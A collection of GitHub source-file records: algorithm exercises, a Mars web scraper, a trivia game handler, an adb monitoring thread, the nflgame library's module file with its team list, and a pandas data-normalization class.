+{"seq_id":"9753697029","text":"def solution(s):\n answer = ''\n\n s = s.split(' ')\n\n minn = int(1e9)\n maxx = -int(1e9)\n\n for i in s:\n if maxx <= int(i):\n maxx = int(i)\n\n if minn >= int(i):\n minn = int(i)\n\n answer += str(minn)\n answer += ' '\n answer += str(maxx)\n\n return answer","repo_name":"seulgi-mun/Algorithm","sub_path":"Python/Programmers/최댓값과 최솟값.py","file_name":"최댓값과 최솟값.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"71185862632","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup as bs\nimport requests\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport pandas as pd\nimport time\n\ndef init_browser():\n executable_path = {'executable_path': ChromeDriverManager().install()}\n return Browser(\"chrome\", **executable_path, headless=True)\n\ndef scrape():\n browser = init_browser()\n\n url = \"https://mars.nasa.gov/news\"\n browser.visit(url)\n\n #scrape page into soup\n soup = bs(browser.html, \"html.parser\")\n\n #titles\n all_titles = soup.find_all(name='div', class_='content_title')\n news_title = all_titles[1].text.strip()\n\n #paragraph\n all_paragraph = soup.find_all(name='div', class_='article_teaser_body')\n news_p = all_paragraph[0].text.strip()\n\n #JPL Mars Space Images\n url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n browser.visit(url)\n\n soup = bs(browser.html, 'html.parser')\n\n img_url = soup.find('article', class_='carousel_item')['style'].replace('background-image: url(','').replace(');','')[1:-1]\n\n main_url = 'https://www.jpl.nasa.gov'\n\n featured_image_url = (main_url + img_url)\n\n #Mars Facts\n url = 'https://space-facts.com/mars/'\n browser.visit(url)\n\n tables = pd.read_html(url)\n df = tables[0]\n\n mars_df = df.to_html(classes= 'dataframe')\n\n #Mars Hemispheres\n\n url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(url)\n\n soup = bs(browser.html, 'html.parser')\n\n items = soup.find_all(name='div', class_='item')\n\n #Create empty list\n hemisphere_image_urls = []\n\n #Store main url\n main_url = 'https://astrogeology.usgs.gov'\n\n #Create loop\n for x in items:\n\n hemisphere_dict = {}\n #find titles\n title = x.find('h3').text\n \n #pull partial img url from main page\n partial_image_url = x.find('a', class_='itemLink product-item')['href']\n \n #Go to link that has the full image\n browser.visit(main_url + partial_image_url)\n \n #Create new soup\n soup = bs(browser.html, 'html.parser')\n \n #Get full image source\n img_url = main_url + soup.find('img', class_='wide-image')['src']\n \n #Append the img names and links to a list of dicts\n hemisphere_dict = {\"titles\": title, \"img_url\": img_url}\n \n hemisphere_image_urls.append(hemisphere_dict)\n\n #store data in dictionary\n mars_dict = {\n 'news_title': news_title,\n 'news_paragraph': news_p,\n 'featured_image': featured_image_url,\n 'mars_facts': mars_df,\n 'hemisphere_image_urls': hemisphere_image_urls\n }\n\n browser.quit()\n \n return mars_dict\n","repo_name":"jmahon22/web_scraping_challenge","sub_path":"Missions_to_Mars/scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"72393049832","text":"import sys\ninput = sys.stdin.readline\n\nans = []\n\ntc = int(input())\n\nfor _ in range(tc):\n num = list(input().strip())\n num = [int(x) for x in num]\n ans.append(max(num))\nprint('\\n'.join(map(str,ans)))\n","repo_name":"112224/algorithm","sub_path":"python3/A. Binary Decimal.py","file_name":"A. Binary Decimal.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"69813015274","text":"from sys import *\ninput = lambda: stdin.readline().rstrip()\nK, N = map(int, input().split())\nwire = [int(input()) for _ in range(K)]\n\ndef cut(cutter):\n return sum([i//cutter for i in wire])\n\ndef BS(a,b):\n #print(a,b)\n m=(a+b)//2\n if b-a<=1:\n if cut(b)>=N:\n return b\n else:\n return a\n if cut(m)>=N:\n return(BS(m,b))\n else:# cut(m)', '<', '&', '.', ')', '(', ':', ',', \"'\", \"''\", '$', '%', ';', '=', '+', \"#\", \"ffff00\", \"00FFFF\", \"span\", \"/span\", \"style=\", \"background-color\"]\n\n\ndef zipf(data, flag):\n total_freq = []\n total_word = []\n '''\n iterate each artical\n '''\n for one in data:\n freq = []\n word = []\n '''\n flag == TRUE -> xml data, we manipulate both PubMed title and content\n flag == FALSE -> json data, we only manipulate tweet content.\n '''\n if flag:\n artical = one.title + \" \" + one.content\n else:\n artical = one.content\n token = nltk.word_tokenize(artical.lower())\n # token = re.split(r'\\w+', artical)\n # token = artical.split()\n '''\n tokenize artical.\n calculate each word freq and sort by freq.\n '''\n token_lower = [w.lower().strip('-') for w in token]\n\n words = set(token_lower)\n counts = [(w, token_lower.count(w))\n for w in words if w not in exclusive_token]\n zipf_dataset = []\n [zipf_dataset.append(zipf_data(w, c)) for (w, c) in counts]\n zipf_dataset.sort(key=lambda x: x.freq, reverse=True)\n\n i = 0\n for each in zipf_dataset:\n if i < 30:\n freq.append(each.freq)\n word.append(each.token)\n i = i + 1\n else:\n break\n\n total_freq.append(freq)\n total_word.append(word)\n\n return total_word, total_freq\n","repo_name":"TsungHuaLee/Bio_Information_Retrievel","sub_path":"IR_HW/search/zipf_law.py","file_name":"zipf_law.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10650072455","text":"import pandas as pd\nfrom urllib.parse import unquote\nfrom random import shuffle\n\nfrom .GameHandler import GameHandler\n\n\nclass Trivia(GameHandler):\n def start(self):\n self.stages = {}\n for i in range(int(self.data[\"numRounds\"])):\n self.stages[i + 1] = self.getVotes\n\n self.stages[len(self.stages) + 1] = self.end\n\n self.data[\"votes\"] = {}\n self.data[\"scores\"] = {}\n\n self.get_questions()\n\n self.data[\"question_num\"] = 0\n \n def get_info(self, username):\n d = self.game_state\n if self.currentStage == 0:\n d.update({'waiting_for_players':True})\n return d\n if len(self.data[\"votes\"]) >= len(self.players):\n self.update_scores()\n self.data[\"votes\"] = {}\n self.currentStage += 1\n self.data['question_num'] += 1\n d.update(self.stages[self.currentStage](username))\n return d\n\n def post_info(self, data : dict, username):\n if self.currentStage == 0:\n for player in self.players: self.data['scores'][player] = 0\n self.currentStage += 1\n return True\n if username not in self.data[\"votes\"]:\n self.data[\"votes\"][username] = data[\"buttonText\"]\n return True\n return False\n\n def update_scores(self):\n for player, answer in self.data[\"votes\"].items():\n if answer == self.data[\"questions\"][self.data[\"question_num\"]][\"correct\"]:\n self.data[\"scores\"][player] = self.data[\"scores\"].get(player, 0) + 1\n return None\n\n def getVotes(self, username):\n d = {\n \"phoneMessage\": self.data[\"questions\"][self.data[\"question_num\"]][\"question\"],\n \"hostMessage\": self.data[\"questions\"][self.data[\"question_num\"]][\"question\"],\n \"buttons\": self.data[\"questions\"][self.data[\"question_num\"]][\"answer_choices\"],\n \"currentStage\": self.currentStage,\n }\n return d\n\n def end(self, username):\n d = {\n \"message\": \"WINNER: {0}\".format(\n max(\n self.data[\"scores\"].items(),\n key=(lambda x: x[1])\n )[0]\n ),\n \"table\": self.data[\"scores\"],\n \"currentStage\": self.currentStage,\n }\n return d\n\n def get_questions(self):\n q_dict = requests.get(\n \"https://opentdb.com/api.php?amount=3&difficulty=medium\"\n ).json()[\"results\"]\n\n self.data[\"questions\"] = list(map(\n lambda q : {\n \"question\": unquote(\n q[\"question\"]\n ),\n \"correct\": unquote(q[\"correct_answer\"]),\n \"answer_choices\": (\n [unquote(q[\"correct_answer\"])] + [unquote(j) for j in q[\"incorrect_answers\"]]\n )\n },\n q_dict\n ))\n for x in self.data[\"questions\"]:\n shuffle(x[\"answer_choices\"])\n return None\n","repo_name":"bmeares/CUHackit2020","sub_path":"src/games/Trivia.py","file_name":"Trivia.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"3739177319","text":"import numpy as np\r\n\r\nx = np.array([1, 2, 5])\r\ny = np.array([2, 4, 9])\r\n\r\ncon = []\r\nfor i in range(y.size):\r\n if i == 0:\r\n con.extend(x*y[i])\r\n print(\"{} ---- >{}\".format(i + 1, x * y[i]))\r\n continue\r\n\r\n tmp = x*y[i]\r\n print(\"{} ---- >{}\".format(i + 1, tmp))\r\n for j in range(tmp.size):\r\n start = j+i\r\n try:\r\n con[start] = con[start] + tmp[j]\r\n\r\n except IndexError:\r\n con.append(tmp[j])\r\n\r\n","repo_name":"ArdenteX/Predict-the-therapeutic-effect-of-Bevacizumab-treatment","sub_path":"Ovarian/convolution.py","file_name":"convolution.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30322012871","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/6/14 17:25\n# @Author : qingping.niu\n# @File : threadUtils.py\n# @desc :\n\nimport threading,time\nfrom com.mibc.adb.adbCommand import getCpu,getMemory,getFlow\n\nclass ThreadUtils(threading.Thread):\n\n def __init__(self,*avgs,**kwargs):\n threading.Thread.__init__(self)\n self.avgs = avgs\n self.__flag = threading.Event() # 用于暂停线程的标识\n self.__flag.set() # 设置为True\n self.__running = threading.Event() # 用于停止线程的标识\n self.__running.set() # 将running设置为True\n\n def run(self):\n while self.__running.isSet():\n self.__flag.wait()\n print(self.avgs[0])\n self.cpu_result = getCpu(self.avgs[0])\n self.mem_result = getMemory(self.avgs[0])\n self.flow_result = getFlow(self.avgs[0])\n # print(self.cpu_result,self.mem_result,self.flow_result)\n self.get_result()\n\n time.sleep(3)\n\n\n def get_result(self):\n print(\"*********\")\n try:\n return self.cpu_result, self.mem_result, self.flow_result # 如果子线程不使用join方法,此处可能会报没有self.result的错误\n except Exception:\n return None\n\n def pause(self):\n self.__flag.clear() # 设置为False, 让线程阻塞\n\n def resume(self):\n self.__flag.set() # 设置为True, 让线程停止阻塞\n\n def stop(self):\n self.__flag.clear() # 设置为False, 让线程阻塞\n self.__flag.set() # 将线程从暂停状态恢复, 如何已经暂停的话\n self.__running.clear() # 设置为False\n\n\n\n# if __name__=='__main__':\n# t = ThreadUtils('com.tcl.joylockscreen')\n# t.start()\n# t.join()\n# result = t.get_result()\n#\n# print('----------',result)\n\n\n\n\n\n\n","repo_name":"nqping/AndroidTools","sub_path":"com/mibc/utils/threadUtils.py","file_name":"threadUtils.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14320999611","text":"\"\"\"\nnflgame is an API to retrieve and read NFL Game Center JSON data.\nIt can work with real-time data, which can be used for fantasy football.\n\nnflgame works by parsing the same JSON data that powers NFL.com's live\nGameCenter. Therefore, nflgame can be used to report game statistics while\na game is being played.\n\nThe package comes pre-loaded with game data from every pre- and regular\nseason game from 2009 up until the present (I try to update it every week).\nTherefore, querying such data does not actually ping NFL.com.\n\nHowever, if you try to search for data in a game that is being currently\nplayed, the JSON data will be downloaded from NFL.com at each request (so be\ncareful not to inspect for data too many times while a game is being played).\nIf you ask for data for a particular game that hasn't been cached to disk\nbut is no longer being played, it will be automatically cached to disk\nso that no further downloads are required.\n\nHere's a quick teaser to find the top 5 running backs by rushing yards in the\nfirst week of the 2013 season:\n\n #!python\n import nflgame\n\n games = nflgame.games(2013, week=1)\n players = nflgame.combine_game_stats(games)\n for p in players.rushing().sort('rushing_yds').limit(5):\n msg = '%s %d carries for %d yards and %d TDs'\n print msg % (p, p.rushing_att, p.rushing_yds, p.rushing_tds)\n\nAnd the output is:\n\n L.McCoy 31 carries for 184 yards and 1 TDs\n T.Pryor 13 carries for 112 yards and 0 TDs\n S.Vereen 14 carries for 101 yards and 0 TDs\n A.Peterson 18 carries for 93 yards and 2 TDs\n R.Bush 21 carries for 90 yards and 0 TDs\n\nOr you could find the top 5 passing plays in the same time period:\n\n #!python\n import nflgame\n\n games = nflgame.games(2013, week=1)\n plays = nflgame.combine_plays(games)\n for p in plays.sort('passing_yds').limit(5):\n print p\n\nAnd the output is:\n\n (DEN, DEN 22, Q4, 3 and 8) (4:42) (Shotgun) P.Manning pass\n short left to D.Thomas for 78 yards, TOUCHDOWN. Penalty on\n BAL-E.Dumervil, Defensive Offside, declined.\n (DET, DET 23, Q3, 3 and 7) (5:58) (Shotgun) M.Stafford pass short\n middle to R.Bush for 77 yards, TOUCHDOWN.\n (NYG, NYG 30, Q2, 1 and 10) (2:01) (No Huddle, Shotgun) E.Manning\n pass deep left to V.Cruz for 70 yards, TOUCHDOWN. Pass complete on\n a fly pattern.\n (NO, NO 24, Q2, 2 and 6) (5:11) (Shotgun) D.Brees pass deep left to\n K.Stills to ATL 9 for 67 yards (R.McClain; R.Alford). Pass 24, YAC\n 43\n (NYG, NYG 20, Q1, 1 and 10) (13:04) E.Manning pass short middle\n to H.Nicks pushed ob at DAL 23 for 57 yards (M.Claiborne). Pass\n complete on a slant pattern.\n\nIf you aren't a programmer, then the\n[tutorial for non programmers](http://goo.gl/y05fVj) is for you.\n\nIf you need help, please come visit us at IRC/FreeNode on channel `#nflgame`.\nIf you've never used IRC before, then you can\n[use a web client](http://webchat.freenode.net/?channels=%23nflgame).\n(Enter any nickname you like, make sure the channel is `#nflgame`, fill in\nthe captcha and hit connect.)\n\nFailing IRC, the second fastest way to get help is to\n[open a new issue on the\ntracker](https://github.com/BurntSushi/nflgame/issues/new).\nThere are several active contributors to nflgame that watch the issue tracker.\nWe tend to respond fairly quickly!\n\"\"\"\n\nimport itertools\n\nimport sys\n\nif sys.version_info[:2] != (2, 7):\n print(\"nflgame requires Python 2.7 and does not yet work with Python 3\")\n print(\"You are running Python version {}.{}\".format(\n sys.version_info.major, sys.version_info.minor))\n sys.exit(1)\n\nimport nflgame.game # noqa\nimport nflgame.live # noqa\nimport nflgame.player # noqa\nimport nflgame.sched # noqa\nimport nflgame.seq # noqaj\nfrom nflgame.version import __version__ # noqa\n\nVERSION = __version__ # Deprecated. Backwards compatibility.\n\nNoPlayers = nflgame.seq.GenPlayerStats(None)\n\"\"\"\nNoPlayers corresponds to the identity element of a Players sequences.\n\nNamely, adding it to any other Players sequence has no effect.\n\"\"\"\n\nplayers = nflgame.player._create_players()\n\"\"\"\nA dict of all players and meta information about each player keyed\nby GSIS ID. (The identifiers used by NFL.com GameCenter.)\n\"\"\"\n\nteams = [\n ['ARI', 'Arizona', 'Cardinals', 'Arizona Cardinals'],\n ['ATL', 'Atlanta', 'Falcons', 'Atlanta Falcons'],\n ['BAL', 'Baltimore', 'Ravens', 'Baltimore Ravens'],\n ['BUF', 'Buffalo', 'Bills', 'Buffalo Bills'],\n ['CAR', 'Carolina', 'Panthers', 'Carolina Panthers'],\n ['CHI', 'Chicago', 'Bears', 'Chicago Bears'],\n ['CIN', 'Cincinnati', 'Bengals', 'Cincinnati Bengals'],\n ['CLE', 'Cleveland', 'Browns', 'Cleveland Browns'],\n ['DAL', 'Dallas', 'Cowboys', 'Dallas Cowboys'],\n ['DEN', 'Denver', 'Broncos', 'Denver Broncos'],\n ['DET', 'Detroit', 'Lions', 'Detroit Lions'],\n ['GB', 'Green Bay', 'Packers', 'Green Bay Packers', 'G.B.', 'GNB'],\n ['HOU', 'Houston', 'Texans', 'Houston Texans'],\n ['IND', 'Indianapolis', 'Colts', 'Indianapolis Colts'],\n ['JAC', 'Jacksonville', 'Jaguars', 'Jacksonville Jaguars', 'JAX'],\n ['KC', 'Kansas City', 'Chiefs', 'Kansas City Chiefs', 'K.C.', 'KAN'],\n ['LA', 'Los Angeles', 'Rams', 'Los Angeles Rams', 'L.A.'],\n ['MIA', 'Miami', 'Dolphins', 'Miami Dolphins'],\n ['MIN', 'Minnesota', 'Vikings', 'Minnesota Vikings'],\n ['NE', 'New England', 'Patriots', 'New England Patriots', 'N.E.', 'NWE'],\n ['NO', 'New Orleans', 'Saints', 'New Orleans Saints', 'N.O.', 'NOR'],\n ['NYG', 'Giants', 'New York Giants', 'N.Y.G.'],\n ['NYJ', 'Jets', 'New York Jets', 'N.Y.J.'],\n ['OAK', 'Oakland', 'Raiders', 'Oakland Raiders'],\n ['PHI', 'Philadelphia', 'Eagles', 'Philadelphia Eagles'],\n ['PIT', 'Pittsburgh', 'Steelers', 'Pittsburgh Steelers'],\n ['SD', 'San Diego', 'Chargers', 'San Diego Chargers', 'S.D.', 'SDG'],\n ['SEA', 'Seattle', 'Seahawks', 'Seattle Seahawks'],\n ['SF', 'San Francisco', '49ers', 'San Francisco 49ers', 'S.F.', 'SFO'],\n ['STL', 'St. Louis', 'Rams', 'St. Louis Rams', 'S.T.L.'],\n ['TB', 'Tampa Bay', 'Buccaneers', 'Tampa Bay Buccaneers', 'T.B.', 'TAM'],\n ['TEN', 'Tennessee', 'Titans', 'Tennessee Titans'],\n ['WAS', 'Washington', 'Redskins', 'Washington Redskins', 'WSH'],\n]\n\"\"\"\nA list of all teams. Each item is a list of different ways to\ndescribe a team. (i.e., JAC, JAX, Jacksonville, Jaguars, etc.).\nThe first item in each list is always the standard NFL.com\nteam abbreviation (two or three letters).\n\"\"\"\n\n\ndef find(name, team=None):\n \"\"\"\n Finds a player (or players) with a name matching (case insensitive)\n name and returns them as a list.\n\n If team is not None, it is used as an additional search constraint.\n \"\"\"\n hits = []\n for player in players.itervalues():\n if player.name.lower() == name.lower():\n if team is None or team.lower() == player.team.lower():\n hits.append(player)\n return hits\n\n\ndef standard_team(team):\n \"\"\"\n Returns a standard abbreviation when team corresponds to a team in\n nflgame.teams (case insensitive). All known variants of a team name are\n searched. If no team is found, None is returned.\n \"\"\"\n team = team.lower()\n for variants in teams:\n for variant in variants:\n if team == variant.lower():\n return variants[0]\n return None\n\n\ndef games(year, week=None, home=None, away=None, kind='REG', started=False):\n \"\"\"\n games returns a list of all games matching the given criteria. Each\n game can then be queried for player statistics and information about\n the game itself (score, winner, scoring plays, etc.).\n\n As a special case, if the home and away teams are set to the same team,\n then all games where that team played are returned.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n Note that if a game's JSON data is not cached to disk, it is retrieved\n from the NFL web site. A game's JSON data is *only* cached to disk once\n the game is over, so be careful with the number of times you call this\n while a game is going on. (i.e., don't piss off NFL.com.)\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n return list(games_gen(year, week, home, away, kind, started))\n\n\ndef games_gen(year, week=None, home=None, away=None,\n kind='REG', started=False):\n \"\"\"\n games returns a generator of all games matching the given criteria. Each\n game can then be queried for player statistics and information about\n the game itself (score, winner, scoring plays, etc.).\n\n As a special case, if the home and away teams are set to the same team,\n then all games where that team played are returned.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n Note that if a game's JSON data is not cached to disk, it is retrieved\n from the NFL web site. A game's JSON data is *only* cached to disk once\n the game is over, so be careful with the number of times you call this\n while a game is going on. (i.e., don't piss off NFL.com.)\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n infos = _search_schedule(year, week, home, away, kind, started)\n if not infos:\n return None\n\n def gen():\n for info in infos:\n g = nflgame.game.Game(info['eid'])\n if g is None:\n continue\n yield g\n return gen()\n\n\ndef one(year, week, home, away, kind='REG', started=False):\n \"\"\"\n one returns a single game matching the given criteria. The\n game can then be queried for player statistics and information about\n the game itself (score, winner, scoring plays, etc.).\n\n one returns either a single game or no games. If there are multiple games\n matching the given criteria, an assertion is raised.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n Note that if a game's JSON data is not cached to disk, it is retrieved\n from the NFL web site. A game's JSON data is *only* cached to disk once\n the game is over, so be careful with the number of times you call this\n while a game is going on. (i.e., don't piss off NFL.com.)\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n infos = _search_schedule(year, week, home, away, kind, started)\n if not infos:\n return None\n assert len(infos) == 1, 'More than one game matches the given criteria.'\n return nflgame.game.Game(infos[0]['eid'])\n\n\ndef combine(games, plays=False):\n \"\"\"\n DEPRECATED. Please use one of nflgame.combine_{game,play,max}_stats\n instead.\n\n Combines a list of games into one big player sequence containing game\n level statistics.\n\n This can be used, for example, to get PlayerStat objects corresponding to\n statistics across an entire week, some number of weeks or an entire season.\n\n If the plays parameter is True, then statistics will be dervied from\n play by play data. This mechanism is slower but will contain more detailed\n statistics like receiver targets, yards after the catch, punt and field\n goal blocks, etc.\n \"\"\"\n if plays:\n return combine_play_stats(games)\n else:\n return combine_game_stats(games)\n\n\ndef combine_game_stats(games):\n \"\"\"\n Combines a list of games into one big player sequence containing game\n level statistics.\n\n This can be used, for example, to get GamePlayerStats objects corresponding\n to statistics across an entire week, some number of weeks or an entire\n season.\n \"\"\"\n return reduce(lambda ps1, ps2: ps1 + ps2,\n [g.players for g in games if g is not None])\n\n\ndef combine_play_stats(games):\n \"\"\"\n Combines a list of games into one big player sequence containing play\n level statistics.\n\n This can be used, for example, to get PlayPlayerStats objects corresponding\n to statistics across an entire week, some number of weeks or an entire\n season.\n\n This function should be used in lieu of combine_game_stats when more\n detailed statistics such as receiver targets, yards after the catch and\n punt/FG blocks are needed.\n\n N.B. Since this combines *all* play data, this function may take a while\n to complete depending on the number of games passed in.\n \"\"\"\n return reduce(lambda p1, p2: p1 + p2,\n [g.drives.players() for g in games if g is not None])\n\n\ndef combine_max_stats(games):\n \"\"\"\n Combines a list of games into one big player sequence containing maximum\n statistics based on game and play level statistics.\n\n This can be used, for example, to get GamePlayerStats objects corresponding\n to statistics across an entire week, some number of weeks or an entire\n season.\n\n This function should be used in lieu of combine_game_stats or\n combine_play_stats when the best possible accuracy is desired.\n \"\"\"\n return reduce(lambda a, b: a + b,\n [g.max_player_stats() for g in games if g is not None])\n\n\ndef combine_plays(games):\n \"\"\"\n Combines a list of games into one big play generator that can be searched\n as if it were a single game.\n \"\"\"\n chain = itertools.chain(*[g.drives.plays() for g in games])\n return nflgame.seq.GenPlays(chain)\n\n\ndef _search_schedule(year, week=None, home=None, away=None, kind='REG',\n started=False):\n \"\"\"\n Searches the schedule to find the game identifiers matching the criteria\n given.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n infos = []\n for info in nflgame.sched.games.itervalues():\n y, t, w = info['year'], info['season_type'], info['week']\n h, a = info['home'], info['away']\n if year is not None:\n if isinstance(year, list) and y not in year:\n continue\n if not isinstance(year, list) and y != year:\n continue\n if week is not None:\n if isinstance(week, list) and w not in week:\n continue\n if not isinstance(week, list) and w != week:\n continue\n if home is not None and away is not None and home == away:\n if h != home and a != home:\n continue\n else:\n if home is not None and h != home:\n continue\n if away is not None and a != away:\n continue\n if t != kind:\n continue\n if started:\n gametime = nflgame.live._game_datetime(info)\n now = nflgame.live._now()\n if gametime > now and (gametime - now).total_seconds() > 300:\n continue\n infos.append(info)\n return infos\n","repo_name":"BurntSushi/nflgame","sub_path":"nflgame/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":19445,"program_lang":"python","lang":"en","doc_type":"code","stars":1258,"dataset":"github-code","pt":"72"}
+{"seq_id":"15458702914","text":"import quandl as q\nimport pandas as pd\nimport numpy as np\nimport config\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.neighbors import RadiusNeighborsClassifier\n\nimport TA as ta\n\nq.ApiConfig.api_key = config.quandl_key\n\n\nclass dataclass:\n i=0\n dataset_width = 0\n dataset_length = 0\n datares_width = 0\n\n dataset = pd.DataFrame()\n datares = pd.DataFrame()\n\n def __init__(self, df=None, columns=None, rescolumns=None):\n i = 1\n if df != None:\n if columns == None:\n columns = range(0, df.dataset_width)\n if rescolumns == None:\n rescolumns = range(0, df.datares_width)\n self.dataset = pd.DataFrame(df.dataset.ix[:,columns])\n self.datares = pd.DataFrame(df.datares.ix[:,rescolumns])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n def create(self, filename, rescolumns = 1, dropna=False, fillna=False):\n dataset = pd.read_csv(filename, index_col='DateTime', parse_dates=True)\n\n if dropna == True:\n dataset = dataset.dropna(axis=0)\n if fillna == True:\n dataset = dataset.fillna(0)\n\n self.dataset = pd.DataFrame(dataset.ix[:, range(0, dataset.shape[1] - rescolumns)])\n self.datares = pd.DataFrame(dataset.ix[:, range(dataset.shape[1] - rescolumns, dataset.shape[1])])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n def prenormalize(self, sdev=0, NormRes=False):\n if sdev == 0:\n return\n for i in range(0, self.insample_data.shape[1]):\n mean = self.insample_data.iloc[:,i].mean()\n stddev = self.insample_data.iloc[:,i].std()\n self.insample_res = self.insample_res[ abs((self.insample_data.iloc[:, i] - mean)/stddev) < sdev ]\n self.insample_data = self.insample_data[ abs((self.insample_data.iloc[:, i] - mean)/stddev) < sdev ]\n if NormRes == True:\n for i in range(0, self.insample_res.shape[1]):\n mean = self.insample_res.iloc[:, i].mean()\n stddev = self.insample_res.iloc[:, i].std()\n self.insample_data = self.insample_data[abs((self.insample_res.iloc[:, i] - mean) / stddev) < sdev ]\n self.insample_res = self.insample_res[abs((self.insample_res.iloc[:, i] - mean) / stddev) < sdev ]\n\n\n def normalize(self, NormRes=False):\n for i in range(0, self.insample_data.shape[1]):\n mean = self.insample_data.iloc[:,i].mean()\n stddev = self.insample_data.iloc[:,i].std()\n self.insample_data.iloc[:, i] = (self.insample_data.iloc[:, i] - mean) / stddev\n if self.learn_data.shape[0] > 0: self.learn_data.iloc[:, i] = (self.learn_data.iloc[:, i] - mean) / stddev\n self.outofsample_data.iloc[:, i] = (self.outofsample_data.iloc[:, i] - mean) / stddev\n if NormRes == True:\n for i in range(0, self.insample_res.shape[1]):\n mean = self.insample_res.iloc[:, i].mean()\n stddev = self.insample_res.iloc[:, i].std()\n self.insample_res.iloc[:, i] = (self.insample_res.iloc[:, i] - mean) / stddev\n if self.learn_res.shape[0] > 0 : self.learn_res.iloc[:, i] = (self.learn_res.iloc[:, i] - mean) / stddev\n self.outofsample_res.iloc[:, i] = (self.outofsample_res.iloc[:, i] - mean) / stddev\n\n\n def postnormalize(self, sdev=0):\n return\n\n def getnames(self):\n return self.insample_data.columns.values\n\n def classify(self, sdev=0.5):\n for i in range(0, self.insample_res.shape[1]):\n self.insample_res.ix[self.insample_res.iloc[:,i] >= sdev, i] = 1\n self.insample_res.ix[self.insample_res.iloc[:, i] <= -sdev, i] = -1\n self.insample_res.ix[((self.insample_res.iloc[:, i] 